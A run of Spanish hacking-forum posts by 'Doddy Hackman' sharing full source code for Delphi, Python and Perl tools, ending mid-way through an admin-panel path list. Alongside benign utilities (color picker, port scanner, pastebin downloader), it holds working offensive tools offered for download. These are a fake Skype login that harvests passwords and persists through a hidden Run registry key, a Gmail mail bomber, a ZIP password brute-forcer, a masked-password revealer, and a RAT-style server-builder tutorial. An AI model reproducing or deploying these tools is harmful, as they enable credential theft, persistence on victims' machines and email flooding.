    sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.x, aca.y);
    Shape1.Brush.color := color;
    re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2)
      + IntToHex(GetBValue(color), 2);
    sLabel2.Caption := re;
    sStatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#176
Python / [Python-Android] LocateIP 0.1
Agosto 19, 2013, 03:19:14 PM
El primer script que hice en python para android.

El codigo :

Código: python

# !usr/bin/python
# LocateIP 0.1 (C) Doddy Hackman 2013
# Android Version

import android,urllib2,re,socket
 
aplicacion = android.Android()

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def search(pagina):

respuesta = ""

ip = socket.gethostbyname(str(pagina))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

respuesta = respuesta + "[++] IP Address Location\n"

if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  city = rex[0][1]
  respuesta = respuesta + "\n[++] City : "+city
else:
  respuesta = respuesta + "\n[++] City : Not Found"

if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  country = rex[0][1]
  respuesta = respuesta + "\n[++] Country : "+country
else:
  respuesta = respuesta + "\n[++] Country : Not Found"
 
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  state = rex[0][1]
  respuesta = respuesta + "\n[++] State : "+state
else:
  respuesta = respuesta + "\n[++] State : Not Found"


code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

if (re.findall("whois\/(.*?)\">Whois",code)):
  rex = re.findall("whois\/(.*?)\">Whois",code)
  respuesta = respuesta + "\n\n[++] DNS Founds\n"
  for dns in rex:
   respuesta = respuesta + "\n[+] "+dns

return respuesta

def menu():

aplicacion.dialogCreateAlert("LocateIP 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result

re2 = re["item"]

if re2==0:
 
  red = aplicacion.dialogGetInput("LocateIP 0.1","Target")
  ref = str(red[1])

  aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...")
  aplicacion.dialogShow()

  don = search(ref)

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateAlert("LocateIP 0.1",don)
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
 
  op = aplicacion.dialogGetResponse().result

  if op["which"] == "positive" :

   menu()

if re2==1 :

  aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013")
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
  re3 = aplicacion.dialogGetResponse().result

  if re3["which"] == "positive" :

   menu()
 
  if re3==2:

   aplicacion.exit()

menu()

# The End ?



Eso es todo.
#177
Delphi / [Delphi] Fake Skype 0.1
Agosto 16, 2013, 01:40:21 PM
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código: delphi

// Fake Skype 0.1
// Coded By Doddy H

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Image2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure Edit1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
end;

procedure TForm1.FormCreate(Sender: TObject);

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage(
        'Escribe tu Id. de Skype en este formato: tu [email protected]');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; // mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#178
Delphi / [Delphi] Sex Icons 0.1
Agosto 09, 2013, 12:59:12 PM
Un simple programa para buscar y extraer iconos.

Una imagen :



El codigo :

Código: delphi

// Sex Icons 0.1
// Coded By Doddy H

unit sex;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit1: TEdit;
    ListView1: TListView;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Button2: TButton;
    ImageList1: TImageList;
    GroupBox3: TGroupBox;
    Image2: TImage;

    Image3: TImage;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure ListView1DblClick(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  buscar: TSearchRec;
  Icon: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
  dirnow: string;

begin

  dirnow := Edit1.Text;

  ListView1.Items.Clear;
  Icon := TIcon.Create;
  ListView1.Items.BeginUpdate;

  if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  begin
    repeat
      if (buscar.Attr <> faDirectory) then
      begin

        with ListView1 do
        begin

          listate := ListView1.Items.Add;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_DISPLAYNAME);
          listate.Caption := buscar.Name;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_TYPENAME);
          listate.SubItems.Add(getdata.szTypeName);

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_ICON or SHGFI_SMALLICON);
          Icon.Handle := getdata.hIcon;
          listate.ImageIndex := ImageList1.AddIcon(Icon);

          DestroyIcon(getdata.hIcon);

        end;

      end

      until FindNext(buscar) <> 0;
      FindClose(buscar);
    end;

    ListView1.Items.EndUpdate;

  end;

  procedure TForm1.Button2Click(Sender: TObject);
  begin

    if SaveDialog1.Execute then
    begin
      Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName);
      ShowMessage('Icon Extracted');
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);
  begin

    SaveDialog1.Title := 'Save your Icon';
    SaveDialog1.InitialDir := GetCurrentDir;
    SaveDialog1.DefaultExt := 'ico';

  end;

  procedure TForm1.ListView1DblClick(Sender: TObject);

  var
    acanow: TIcon;
    archivo: string;
    bajar: TSHFileInfo;

  begin

    archivo := Edit1.Text + ListView1.Selected.Caption;
    if FileExists(archivo) then
    begin
      acanow := TIcon.Create;
      SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON);
      acanow.Handle := bajar.hIcon;
      Image2.Picture.Icon := acanow;
      acanow.Free;
    end;
  end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#179
Delphi / [Delphi] DH Port Scanner 0.2
Agosto 02, 2013, 06:50:13 PM
Un simple Port Scanner en Delphi.

Una imagen :



El codigo :

Código: delphi

// DH Port Scanner 0.2
// Coded By Doddy H

unit port;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg,
  ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent,
  IdTCPConnection;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sMemo1: TsMemo;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    IdTCPClient1: TIdTCPClient;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: Integer;
begin

  sMemo1.Clear;

  For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do
  begin
    try
      begin

        sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i);
        Form1.sStatusBar1.Update;

        IdTCPClient1.Host := sEdit1.Text;
        IdTCPClient1.port := i;
        IdTCPClient1.ConnectTimeout := 1;
        IdTCPClient1.Connect;

        sMemo1.Lines.Add('Port Open : ' + IntToStr(i));

        IdTCPClient1.Disconnect;

      end;
    except
      begin
        //
      end;
    end;

  end;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#180
Delphi / [Delphi] DH Bomber 0.3
Julio 26, 2013, 04:19:24 PM
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :



El codigo :

Código: delphi

// DH Bomber 0.3
// Coded By Doddy H
// Credits :
// Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    sStatusBar1: TsStatusBar;
    PopupMenu1: TPopupMenu;
    MediaPlayer1: TMediaPlayer;
    N2: TMenuItem;
    S2: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure MediaPlayer1Notify(Sender: TObject);
    procedure sButton1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

var
  themenow: Boolean; { Global Variable }

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.FileName := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
  if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  begin
    MediaPlayer1.Play;
    MediaPlayer1.Notify := True;
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

procedure TForm1.sButton1Click(Sender: TObject);

var
  i: integer;
  count: integer;
  idasunto: string;

begin

  count := StrToInt(sEdit5.Text);

  For i := 1 to count do
  begin

    if count > 1 then
    begin
      idasunto := '_' + IntToStr(i);
    end;

    try
      begin
        sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
          (i) + ' ...';
        Form1.sStatusBar1.Update;

        enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
          sEdit6.Text + idasunto, sMemo1.Text);
      end;
    except
      begin
        sStatusBar1.Panels[0].Text :=
          '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
        Form1.sStatusBar1.Update;
      end;

    end;

    sStatusBar1.Panels[0].Text := '[+] Finished';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#181
Perl / [Perl] PasteBin Downloader 0.1
Julio 20, 2013, 06:58:10 PM
Un simple script en Perl para bajar codigos de pastebin.
Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos.

El codigo :

Código: perl

#!usr/bin/perl
#PasteBin Downloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(10);

my $se = "downloads_pastebin";

unless ( -d $se ) {
    mkdir( $se, "777" );
}

chdir $se;

print "\n-- == PasteBin Downloader 0.1 == --\n";

unless ( $ARGV[0] and $ARGV[1] ) {
    print "\n[+] Sintax : $0 < -single / -page > <url>\n";
}
else {
    print "\n[+] Searching ...\n";
    if ( $ARGV[0] eq "-single" ) {
        download_this( $ARGV[1] );
    }
    if ( $ARGV[0] eq "-page" ) {
        download_all( $ARGV[1] );
    }
}

print "\n(C) Doddy Hackman 2013\n";

sub download_all {

    my $page = shift;

    my $code = toma($page);
    chomp $code;

    my @links_all = repes( get_links($code) );

    for my $page_down (@links_all) {
        download_this($page_down);
    }

}

sub download_this {

    my $page   = shift;
    my $titulo = "";
    my $num    = "";

    print "\n[+] Checking : $page\n";

    my $code = toma($page);

    if ( $page =~ /http:\/\/(.*)\/(.*)/ ) {
        $num = $2;

        if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) {
            $titulo = $1;

            print "[+] Downloading : http://pastebin.com/download.php?i=$num\n";

            if (
                download(
                    "http://pastebin.com/download.php?i=$num",
                    $titulo . ".txt"
                )
              )
            {
                print "[+] File Downloaded !\n";
            }
            else {
                print "[-] Error\n";
            }

        }
    }

}

sub download {

    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub get_links {

    $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
    return @links;

    sub agarrar {
        my ( $a, %b ) = @_;
        push( @links, values %b );
    }
}

#The End ?

#182
Python / [Python] ZIP Crack 0.1
Julio 20, 2013, 06:04:02 PM
Un simple script en Python para crackear archivos ZIP.

El codigo

Código: python

#!usr/bin/python
#ZIP Crack 0.1
#Coded By Doddy H

import sys,zipfile

def head():
print "\n-- == ZIP Crack 0.1 == --\n"

def copyright():
print "\n(C) Doddy Hackman 2013\n"

def sintax():
print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>"

head()

if len(sys.argv) != 3 :
sintax()
else:

try:
  passwords = open(sys.argv[2], "r").readlines()
except :
  print "\n[-] Error opening file\n"
op = 0 
print "\n[+] Cracking ...\n"
for password in passwords:
  password = password.replace("\r","").replace("\n","")
  if op==1:
   copyright()
   sys.exit(0)
  try:
   test = zipfile.ZipFile(sys.argv[1])
   test.extractall(pwd=password)
   print "[+] Zip Cracked : "+sys.argv[1]
   print "[+] Password : "+password
   op = 1
  except:
   pass
   
print "[-] Password Not Found"

copyright()

#The End ?
#183
Delphi / [Delphi] Magic Click 0.2
Julio 19, 2013, 03:04:06 PM
Un simple programa para revelar los famosos asteriscos.

El clasico de los clasicos xDD.

Una imagen :



El codigo :

Código: delphi

// Magic Click 0.2
// Coded By Doddy H
// Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks

unit magic;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    Timer1: TTimer;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

  Timer1.Enabled := True;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit1.SelectAll;
  sEdit1.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  posicion: TPoint;
  password: array [0 .. 63] of Char;
  need: HWND;
begin
  GetCursorPos(posicion);
  need := WindowFromPoint(posicion);
  if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
  begin
    SendMessage(need, WM_GETTEXT, 64, Longint(@password));
    sEdit1.Text := password;
  end;
end;

end.

// The End ?


Si quieren bajarlo pueden hacerlo de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#184
Delphi / [Delphi] Creacion de un Server Builder
Julio 15, 2013, 06:44:02 PM
[Titulo] : Creacion de un Server Builder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros
de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema.
Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder
para poder hacer uno bien basico para poder explicar en este tutorial.

Empecemos .......


0x02 : Creacion del builder

Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Ahora creamos dos edit y un boton como en la imagen :



Despues le damos doble click al boton para poner el siguiente codigo :

Código: delphi

procedure TForm1.Button1Click(Sender: TObject);
var
  linea: string; // Declaramos todas las variables
  aca: THandle;
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;

begin

  marca_uno := '{IP}'; // Ponemos la marca para la IP
  marca_dos := '{PORT}'; // Ponemos la marca para el puerto

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  begin
    linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text +
      marca_dos; // Formamos la linea con los datos de la IP y el Puerto
    StrCopy(code, pchar(linea));
    aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo
      CloseHandle(aca); // Cerramos el archivo
    end;
  end;

end;


Otra imagen para que vean como quedo :



Con eso guardamos el proyecto y vamos al stub

0x03 : Creacion del stub

La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder ,
creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen.



Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código: delphi

// Funcion para dividir el texto para buscar la IP y el Puerto

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ob: THandle; // Declaramos todas las variables
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  ip: string;
  port: string;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  // El programa se lee a si mismo
  ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -80, nil, FILE_END);
    ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code
    CloseHandle(ob); // Cerramos el archivo
  end;

  ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP
  port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto

  Edit1.text := ip; // Ponemos la IP en Edit1
  Edit2.text := port; // Ponemos el puerto en Edit2

end;


Una imagen de como queda :



Guarden el proyecto de forma que el ejecutable termine llamandose server.exe

Ahora que esta todo hecho pasamos al siguiente punto.

0x04 : Probando el programa

Bueno  ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto



Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo.

Eso seria todo.

Si quieren bajar el manual en formato PDF lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--
#185
Delphi / [Delphi] Admin Finder 0.2
Julio 12, 2013, 10:58:42 AM
Un simple programa para buscar el famoso panel de administracion.

Una imagen :



El codigo :

Código: delphi

// Admin Finder 0.2
// Coded By Doddy H

unit admin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sEdit2: TsEdit;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    procedure sListBox1DblClick(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.S1Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
